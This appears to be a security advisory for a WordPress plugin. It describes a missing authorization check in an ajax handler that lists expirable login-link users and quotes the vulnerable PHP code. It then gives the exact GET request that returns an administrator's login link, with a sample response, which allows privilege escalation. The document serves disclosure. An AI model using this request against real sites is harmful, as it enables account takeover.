The plugin is affected by a Missing Authorization vulnerability in the expirable login links list ajax function, which leads to Privilege Escalation.


Let’s check the plugin

The plugin allows administrators to create expirable login links. The created expirable users with the login links are listed in the admin page.

The ExpirableLoginLink class adds the following action hook:

add_action( "wp_ajax_ftlpp-ext-expirable-get-users", array( $this, "getListOfUsers" ) );

As we can see the listing is implemented with ajax.

The getListOfUsers() method lists the users with the following code:

$users = get_users(
		"meta_key" => "flpp_ext_expirable_login_link_is_our_user",

$usersToReturn = array();

foreach ( $users as $user ) {

	if ( ! get_user_meta( $user->ID, "flpp_ext_expirable_login_link_is_our_user", true ) ) {

	$userObj = new \stdClass();

	$userObj->id                = $user->ID;
	$userObj->email             = $user->user_email;
	$userObj->firstName         = get_user_meta( $user->ID, "first_name", true );
	$userObj->accountLinkExpiry = get_user_meta( $user->ID, "flpp_ext_expirable_login_link_expiry_time", true );
	$userObj->loginCode         = get_user_meta( $user->ID, "flpp_ext_expirable_login_link_login_id", true );
	$userObj->expiryDate        = get_user_meta( $user->ID, "flpp_ext_expirable_login_link_expiry_date", true );
	$userObj->role              = $user->roles[0];
	$userObj->userRegDateTime   = $user->user_registered;
	$userObj->loginLink         = admin_url() . "?ftlppexpire&id=$user->ID&loginCode=$userObj->loginCode";

	$dateExpiry  = new \DateTime( $userObj->expiryDate );
	$dateCompare = new \DateTime( "now" );

	if ( $dateCompare > $dateExpiry ) {
		$userObj->status = "Expired";
	} else {
		$userObj->status = "Active";

	$usersToReturn[] = $userObj;

echo json_encode( $usersToReturn );

As we can see, the function does not include a capability check, which means that any authenticated user can access the function and list the expirable administrator users.


Let’s see how we can exploit this vulnerability

We only need to send a GET request to exploit this vulnerability.

The HTTP request:

GET /wp-admin/admin-ajax.php?action=ftlpp-ext-expirable-get-users HTTP/1.1
Host: localhost

We get a json response like this:

    "id": 2,
    "email": "[email protected]",
    "firstName": "Admin",
    "accountLinkExpiry": "14",
    "loginCode": "50778ca0e8252412a82549875df2376b",
    "expiryDate": "2023-10-08 19:09:19",
    "role": "administrator",
    "userRegDateTime": "2023-10-08 05:09:19",
    "loginLink": "http://localhost/wp-admin/?ftlppexpire&id=6&loginCode=50778ca0e8252412a82549875df2376b",
    "status": "Active"

By opening the login link, we automatically log in to the user.